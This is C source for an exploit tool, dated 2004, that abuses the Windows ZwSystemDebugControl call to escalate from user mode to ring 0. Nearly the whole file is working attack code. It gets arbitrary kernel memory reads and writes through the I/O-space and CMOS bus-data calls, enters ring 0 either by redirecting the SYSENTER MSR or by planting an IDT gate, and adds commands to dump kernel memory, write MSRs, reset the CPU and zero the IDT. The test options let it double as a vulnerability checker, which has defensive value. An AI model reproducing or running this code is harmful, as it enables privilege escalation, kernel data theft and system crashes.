/* * Discovered and coded Jan 25, 2004 * Copyright (C)2004 randnut@hotmail.com */ #include #include typedef int NTSTATUS; #define NTAPI __stdcall const IA32_SYSENTER_CS = 0x174; const IA32_SYSENTER_ESP = 0x175; const IA32_SYSENTER_EIP = 0x176; const SelCodeKernel = 0x8; const CmosIndx = 0x0E; // CMOS Diagnostic Status const RdWrIoPort = 0x80; #define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;} #define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;} typedef enum _DEBUG_CONTROL_CODE { DebugSysReadIoSpace = 14, DebugSysWriteIoSpace = 15, DebugSysReadMsr = 16, DebugSysWriteMsr = 17, DebugSysReadBusData = 18, DebugSysWriteBusData = 19, } DEBUG_CONTROL_CODE; typedef struct _MSR_STRUCT { DWORD MsrNum; // MSR number DWORD NotUsed; // Never accessed by the kernel DWORD MsrLo; // IN (write) or OUT (read): Low 32 bits of MSR DWORD MsrHi; // IN (write) or OUT (read): High 32 bits of MSR } MSR_STRUCT; typedef struct _IO_STRUCT { DWORD IoAddr; // IN: Aligned to NumBytes,I/O address DWORD Reserved1; // Never accessed by the kernel PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer DWORD NumBytes; // IN: # bytes to read/write. Only use 1, 2, or 4. DWORD Reserved4; // Must be 1 DWORD Reserved5; // Must be 0 DWORD Reserved6; // Must be 1 DWORD Reserved7; // Never accessed by the kernel } IO_STRUCT; // Copied from the Windows DDK typedef enum _BUS_DATA_TYPE { ConfigurationSpaceUndefined = -1, Cmos, EisaConfiguration, Pos, CbusConfiguration, PCIConfiguration, VMEConfiguration, NuBusConfiguration, PCMCIAConfiguration, MPIConfiguration, MPSAConfiguration, PNPISAConfiguration, SgiInternalConfiguration, MaximumBusDataType } BUS_DATA_TYPE, *PBUS_DATA_TYPE; // See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of each field typedef struct _BUS_STRUCT { ULONG Offset; PVOID Buffer; ULONG Length; BUS_DATA_TYPE BusDataType; ULONG BusNumber; ULONG SlotNumber; } BUS_STRUCT; typedef NTSTATUS (NTAPI *PZwSystemDebugControl)( DEBUG_CONTROL_CODE ControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnLength ); PZwSystemDebugControl ZwSystemDebugControl = NULL; enum Ring0Method { Method1, Method2, }; struct OldCpuState { Ring0Method meth; MSR_STRUCT msr[3]; DWORD AffinityMask; DWORD EFLAGS, CS, SS, OldIdtDesc[2]; }; void help() { printf("Usage: name_of_program [option [option [...]]]\n"); printf("/test1 - test for SYSENTER vuln\n"); printf("/test2 - test for I/O write to mem vuln\n"); printf("/test3 - test for bus write to mem vuln\n"); printf("/reset - reset CPU in ring 0\n"); printf("/zeroidt - zero IDT (reboots PC)\n"); printf("/wrmem - write byte to mem\n"); printf("/rdmsr - read MSR\n"); printf("/wrmsr - write MSR\n"); printf("/rdio - read I/O port\n"); printf("/wrio - write I/O port\n"); printf("/dump - dump memory from ring 0\n"); exit(0); } int rdmsr(int MsrNum, MSR_STRUCT& msr) { msr.MsrNum = MsrNum; return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 0, NULL) >= 0; } int wrmsr(int MsrNum, MSR_STRUCT& msr) { msr.MsrNum = MsrNum; return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 0, NULL) >= 0; } void PrintMsr(MSR_STRUCT& msr) { printf("MSR %08X = %08X_%08X\n", msr.MsrNum, msr.MsrHi, msr.MsrLo); } int HasSysEnter() { int retval = 0; __try { __asm { mov eax,1 cpuid shr edx,12 adc retval,0 } } __except (EXCEPTION_EXECUTE_HANDLER) { } return retval; } int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask) { DWORD tmp; FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(), pOldAffinityMask, &tmp)); FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask)); return 1; } /* * Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success. * If ppAddr == NULL, returns byte read on success. */ int CmosRead(int offs, BYTE** ppAddr = NULL) { BYTE buf; BUS_STRUCT bus; bus.BusDataType = Cmos; bus.BusNumber = 0; bus.SlotNumber = offs; bus.Buffer = ppAddr ? *ppAddr : &buf; bus.Offset = 0; bus.Length = 1; if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0, NULL) < 0) return -1; else return ppAddr ? 0x100 : buf; } /* * Returns 0 on failure, 1 on success */ int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL) { BUS_STRUCT bus; bus.BusDataType = Cmos; bus.BusNumber = 0; bus.SlotNumber = offs; bus.Buffer = ppAddr == NULL ? &val : *ppAddr; bus.Offset = 0; bus.Length = 1; return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL, 0, NULL) >= 0; } /* * Write a byte to any location by exploiting another bug in the kernel. This function * uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any address. * This code must execute in ring 3. */ int Method1_WriteMemByte(DWORD MemAddr, BYTE Value) { IO_STRUCT io; memset(&io, 0, sizeof(io)); io.IoAddr = RdWrIoPort; io.pBuffer = &Value; io.NumBytes = 1; io.Reserved4 = 1; io.Reserved6 = 1; if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, NULL) < 0) return 0; memset(&io, 0, sizeof(io)); io.IoAddr = RdWrIoPort; io.pBuffer = (PVOID)(ULONG_PTR)MemAddr; io.NumBytes = 1; io.Reserved4 = 1; io.Reserved6 = 1; if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, NULL) < 0) return 0; return 1; } /* * Read a byte from any location by exploiting another bug in the kernel. This function * uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from any address. * This code must execute in ring 3. */ int Method1_ReadMemByte(DWORD MemAddr) { BYTE Value; IO_STRUCT io; memset(&io, 0, sizeof(io)); io.IoAddr = RdWrIoPort; io.pBuffer = (PVOID)(ULONG_PTR)MemAddr; io.NumBytes = 1; io.Reserved4 = 1; io.Reserved6 = 1; if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, NULL) < 0) return -1; memset(&io, 0, sizeof(io)); io.IoAddr = RdWrIoPort; io.pBuffer = &Value; io.NumBytes = 1; io.Reserved4 = 1; io.Reserved6 = 1; if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, NULL) < 0) return -1; return Value; } int CmosTest() { int OldVal = CmosRead(CmosIndx); if (OldVal < 0) return 0; static int HasTested = 0; if (HasTested == 0) { HasTested = -1; if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 || !CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 0xAA || !CmosWrite(CmosIndx, (BYTE)OldVal)) { printf("There's something wrong with your CMOS\n"); return 0; } HasTested = 1; } else if (HasTested == -1) return 0; return 1; } /* * Write a byte to any location by exploiting another bug in the kernel. This function * uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any address. * This code must execute in ring 3. */ int Method2_WriteMemByte(DWORD MemAddr, BYTE Value) { if (!CmosTest()) return 0; int OldVal = CmosRead(CmosIndx); if (OldVal < 0) return 0; BYTE* p = (BYTE*)(ULONG_PTR)MemAddr; if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 || !CmosWrite(CmosIndx, OldVal)) return 0; return 1; } /* * Read a byte from any location by exploiting another bug in the kernel. This function * uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from any address. * This code must execute in ring 3. */ int Method2_ReadMemByte(DWORD MemAddr) { int OldVal, RetVal; if (!CmosTest()) return -1; BYTE* p = (BYTE*)(ULONG_PTR)MemAddr; if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) || (RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, (BYTE)OldVal)) return -1; return RetVal; } static int MemAccessMethType = -1; int SetMemAccessMeth(int NewMeth) { int old = MemAccessMethType; if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2) MemAccessMethType = NewMeth; return old; } int WriteMemByte(DWORD MemAddr, BYTE Value) { switch (MemAccessMethType) { case 1: return Method1_WriteMemByte(MemAddr, Value); case 2: return Method2_WriteMemByte(MemAddr, Value); case -1: default: return Method1_WriteMemByte(MemAddr, Value) || Method2_WriteMemByte(MemAddr, Value); } } int ReadMemByte(DWORD MemAddr) { switch (MemAccessMethType) { case 1: return Method1_ReadMemByte(MemAddr); case 2: return Method2_ReadMemByte(MemAddr); case -1: default: int RetVal; if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 || (RetVal = Method2_ReadMemByte(MemAddr)) >= 0) (void)0 /* Nothing */; return RetVal; } } /* * Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing SYSENTER. * Returns 1 on success. If it returns 1, EFLAGS.IF=0. */ int Method1_EnterRing0(OldCpuState& old) { old.meth = Method1; if (!HasSysEnter()) return 0; FCHK(SetProcessor(1, &old.AffinityMask)); FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup); FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup); FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup); DWORD Ring0Addr; __asm { mov Ring0Addr,offset ring0_addr } Sleep(100); // A more reliable way is to block all interrupts through the PIC. MSR_STRUCT msr; if (old.msr[0].MsrLo == 0) // SYSENTER not enabled { // IMPORTANT: // I assume the OS sets up the GDT as follows: // base:ring0 code // ring0 data // ring3 code // ring3 data // Will crash eventually if it's not setup that way msr.MsrLo = SelCodeKernel; msr.MsrHi = 0; FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup); } msr.MsrHi = 0; msr.MsrLo = Ring0Addr; FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2); // Let's hope we won't get interrupted after this call __asm { mov ecx,esp // Hmm, can't assemble SYSENTER or DB 0F,34 jmp short $+3 mov eax,9090340Fh ring0_addr: mov esp,ecx // Hot dog! :) } return 1; cleanup2: if (old.msr[0].MsrLo == 0) wrmsr(IA32_SYSENTER_CS, old.msr[0]); cleanup: FCHK(SetProcessor(old.AffinityMask, NULL)); return 0; } /* * Enters ring 3 */ void Method1_LeaveRing0(OldCpuState& old) { MSR_STRUCT* pmsr = &old.msr[0]; __asm { mov ebx,pmsr mov ecx,[ebx] // IA32_SYSENTER_CS mov eax,[ebx+8] mov edx,[ebx+0Ch] test eax,eax jz skip1 wrmsr skip1: mov ecx,[ebx+10h] // IA32_SYSENTER_ESP mov eax,[ebx+10h+8] mov edx,[ebx+10h+0Ch] wrmsr mov ecx,[ebx+20h] // IA32_SYSENTER_EIP mov eax,[ebx+20h+8] mov edx,[ebx+20h+0Ch] wrmsr mov ecx,esp mov edx,offset ring3_code // Hmm, can't assemble SYSEXIT or DB 0F,35 jmp short $+3 mov eax,90350FFBh ring3_code: } if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled wrmsr(old.msr[0].MsrNum, old.msr[0]); SetProcessor(old.AffinityMask, NULL); } /* * Tries to enter ring 0 by telling the kernel to write to the IDT with bytes we control. * Returns 1 on success. If it returns 1, EFLAGS.IF=0. */ int Method2_EnterRing0(OldCpuState& old) { old.meth = Method2; FCHK(SetProcessor(1, &old.AffinityMask)); DWORD Ring0Addr, EFLAGS, _CS, _SS; DWORD idt[2], idt_base, idt_limit; __asm { mov Ring0Addr,offset ring0_addr sidt idt+2 movzx eax,word ptr idt+2 mov idt_limit,eax mov eax,idt+4 mov idt_base,eax pushfd pop eax mov EFLAGS,eax mov word ptr _CS,cs mov word ptr _SS,ss } old.EFLAGS = EFLAGS; old.CS = _CS; old.SS = _SS; #define IntNum 0xFF if (IntNum*8 + 7 > idt_limit) { printf("ERROR: The interrupt number is outside the IDT. Change it and recompile.\n"); goto cleanup; } BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc; for (int i = 0; i < 8; i++) { int SomeByte; FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, cleanup); *pOldIdtDesc++ = (BYTE)SomeByte; } DWORD IdtDesc[2]; IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF); IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00; // 32-bit interrupt gate, DPL3 for (int i = 0; i < 8; i++) FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + i)), cleanup); __asm { xchg esp,eax int IntNum ring0_addr: xchg esp,eax // What do you know, it worked! } return 1; cleanup: FCHK(SetProcessor(old.AffinityMask, NULL)); return 0; } /* * Enters ring 3 */ void Method2_LeaveRing0(OldCpuState& old) { DWORD idt[2]; DWORD EFLAGS = old.EFLAGS; DWORD _CS = old.CS; DWORD _SS = old.SS; DWORD* pOldIdtDesc = &old.OldIdtDesc[0]; __asm { sidt idt+2 mov eax,idt+4 mov ecx,pOldIdtDesc mov edx,[ecx] mov ecx,[ecx+4] mov [eax+IntNum*8],edx mov [eax+IntNum*8+4],ecx mov eax,esp push _SS push eax mov eax,EFLAGS and eax,not (1 shl 0Eh) push eax push _CS push offset ring3_addr iretd ring3_addr: } SetProcessor(old.AffinityMask, NULL); } int EnterRing0(OldCpuState& old) { /* * Method2 is safer than Method1 */ return Method2_EnterRing0(old) || Method1_EnterRing0(old); } void LeaveRing0(OldCpuState& old) { switch (old.meth) { case Method1: Method1_LeaveRing0(old); break; case Method2: Method2_LeaveRing0(old); break; default: __asm jmp short $ } } int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable) { TOKEN_PRIVILEGES tok; tok.PrivilegeCount = 1; tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0; FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid)); FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL)); return 1; } void PrintDelay(int secs) { while (secs--) { printf("%d..", secs+1); Sleep(1000); } printf("NOW\n"); } void PrintVulnMsg(int failed) { if (!failed) printf("Your operating system is vulnerable to this exploit.\n"); else { printf("If this user account has the SeDebugPrivilege privilege then your\n"); printf("OS doesn't appear to be vulnerable.\n\n"); } } DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz) { if (!bufsz || !buf) return 0; #if 0 /* * Will crash XP if we read from non-present memory so don't use this code */ BYTE* p = (BYTE*)buf; for (DWORD i = 0; i < bufsz; i++) { int SomeByte; if ((SomeByte = ReadMemByte(MemAddr++)) < 0) break; p[i] = (BYTE)SomeByte; } return i; #else OldCpuState old; if (!EnterRing0(old)) return 0; DWORD ret_val; __asm { sub esp,8 sidt [esp+2] mov ebx,[esp+4] add esp,8 push dword ptr [ebx+0Eh*8] push dword ptr [ebx+0Eh*8+4] mov eax,offset xcpt_handler mov [ebx+0Eh*8],eax mov [ebx+0Eh*8+4],eax mov word ptr [ebx+0Eh*8+4],8E00h mov word ptr [ebx+0Eh*8+2],cs mov ecx,bufsz mov esi,MemAddr mov edi,buf rep movsb jmp skip_xcpt xcpt_handler: add esp,8 popfd pop eax skip_xcpt: pop dword ptr [ebx+0Eh*8+4] pop dword ptr [ebx+0Eh*8] mov eax,bufsz sub eax,ecx mov ret_val,eax } LeaveRing0(old); return ret_val; #endif } int DumpMem(DWORD MemAddr, DWORD size) { if (size == 0) return 1; if (MemAddr + size - 1 < MemAddr) return 0; DWORD OldMask; FCHK(SetProcessor(1, &OldMask)); int ret = 1; const BytesPerLine = 16; while (size) { BYTE buf[BytesPerLine]; DWORD addr = MemAddr - MemAddr % BytesPerLine; DWORD SizeRead = ReadMem(addr, buf, BytesPerLine); printf("%08X:", addr); for (int i = 0; i < BytesPerLine; i++) { if ((i & 3) == 0 && i != 0) printf("-"); else printf(" "); if (addr < MemAddr || addr > MemAddr+size-1) printf(" "); else if ((DWORD)i >= SizeRead) printf("??"); else printf("%02X", buf[i]); addr++; } printf(" "); addr = MemAddr - MemAddr % BytesPerLine; for (int i = 0; i < BytesPerLine; i++) { if (addr < MemAddr || addr > MemAddr+size-1) printf(" "); else if ((DWORD)i >= SizeRead) printf("?"); else if (buf[i] >= 0x20 && buf[i] <= 0x7E) printf("%c", buf[i]); else printf("."); addr++; } printf("\n"); size -= min(size, addr - MemAddr); MemAddr = addr; } SetProcessor(OldMask, NULL); return ret; } int main(int argc, char* argv[]) { HMODULE hNtdll; FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL); FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll, "ZwSystemDebugControl")) != NULL); HANDLE hToken; FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)); FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1)); for (int i = 1; i < argc; i++) { char* s = argv[i]; if (*s != '/' && *s != '-') help(); s++; if (!strcmp(s, "rdmsr") && i+1 < argc) { MSR_STRUCT msr; int num = strtoul(argv[++i], NULL, 0); if (rdmsr(num, msr)) PrintMsr(msr); else printf("rdmsr(%08X) failed\n", num); } else if (!strcmp(s, "wrmsr") && i+3 < argc) { MSR_STRUCT msr; int num = strtoul(argv[++i], NULL, 0); msr.MsrHi = strtoul(argv[++i], NULL, 0); msr.MsrLo = strtoul(argv[++i], NULL, 0); if (!wrmsr(num, msr)) { printf("wrmsr(%08X) failed\n", num); continue; } if (rdmsr(num, msr)) PrintMsr(msr); else printf("rdmsr(%08X) failed\n", num); } else if (!strcmp(s, "rdio") && i+2 < argc) { IO_STRUCT io; memset(&io, 0, sizeof(io)); DWORD Buffer; io.IoAddr = strtoul(argv[++i], NULL, 0); io.pBuffer = &Buffer; io.NumBytes = strtoul(argv[++i], NULL, 0); io.Reserved4 = 1; io.Reserved6 = 1; if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4) { printf("Size must be 1, 2, or 4 bytes\n"); continue; } if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, NULL) < 0) { printf("Could not read I/O space\n"); continue; } switch (io.NumBytes) { case 1: printf("0x%02X\n", (BYTE)Buffer); break; case 2: printf("0x%04X\n", (WORD)Buffer); break; case 4: printf("0x%08X\n", Buffer); break; default: printf("WTF\n"); break; } } else if (!strcmp(s, "wrio") && i+3 < argc) { IO_STRUCT io; memset(&io, 0, sizeof(io)); DWORD Buffer; io.IoAddr = strtoul(argv[++i], NULL, 0); io.pBuffer = &Buffer; io.NumBytes = strtoul(argv[++i], NULL, 0); io.Reserved4 = 1; io.Reserved6 = 1; Buffer = strtoul(argv[++i], NULL, 0); if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4) { printf("Size must be 1, 2, or 4 bytes\n"); continue; } if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, NULL) < 0) { printf("Could not write to I/O space\n"); continue; } } else if (!strcmp(s, "reset")) { OldCpuState old; printf("Will reset computer in..."); PrintDelay(3); if (!EnterRing0(old)) { printf("Could not enter ring 0\n"); continue; } __asm { push 0 lidt [esp] pop esp inc esp push esp } LeaveRing0(old); printf("WTF\n"); } else if (!strcmp(s, "wrmem") && i+2 < argc) { DWORD MemAddr = strtoul(argv[++i], NULL, 0); BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0); if (!WriteMemByte(MemAddr, Value)) { printf("Could not write the byte\n"); continue; } } else if (!strcmp(s, "zeroidt")) { DWORD OldMask; if (!SetProcessor(1, &OldMask)) { printf("SetProcessor() failed\n"); continue; } DWORD idt[2]; int idt_size, idt_base; __asm { sidt idt+2 movzx eax,word ptr idt+2 mov idt_size,eax mov eax,idt+4 mov idt_base,eax } printf("Will start writing to IDT @ %08X in...", idt_base); PrintDelay(3); for (int j = 0; j <= idt_size; j++) { if (!WriteMemByte(idt_base + j, 0x00)) { printf("Could not write the byte to address %08X\n", idt_base + j); break; } } if (j != 0) printf("WTF\n"); SetProcessor(OldMask, NULL); } else if (!strcmp(s, "test1")) { if (!HasSysEnter()) { printf("Sorry. SYSENTER/SYSEXIT instructions aren't supported by your processor.\n"); continue; } int failed = 1; OldCpuState old; printf("Testing SYSENTER vulnerability in..."); PrintDelay(3); if (Method1_EnterRing0(old)) { failed = 0; Method1_LeaveRing0(old); } PrintVulnMsg(failed); } else if (!strcmp(s, "test2")) { int failed = 1; OldCpuState old; printf("Testing I/O write to memory vulnerability in..."); PrintDelay(3); int OldWrite = SetMemAccessMeth(1); if (Method2_EnterRing0(old)) { failed = 0; Method2_LeaveRing0(old); } SetMemAccessMeth(OldWrite); PrintVulnMsg(failed); } else if (!strcmp(s, "test3")) { int failed = 1; OldCpuState old; printf("Testing bus write to memory vulnerability in..."); PrintDelay(3); int OldWrite = SetMemAccessMeth(2); if (Method2_EnterRing0(old)) { failed = 0; Method2_LeaveRing0(old); } SetMemAccessMeth(OldWrite); PrintVulnMsg(failed); } else if (!strcmp(s, "dump") && i+2 < argc) { DWORD MemAddr = strtoul(argv[++i], NULL, 0); DWORD size = strtoul(argv[++i], NULL, 0); if (!DumpMem(MemAddr, size)) printf("Could not dump memory\n"); } else { help(); } } return 1; }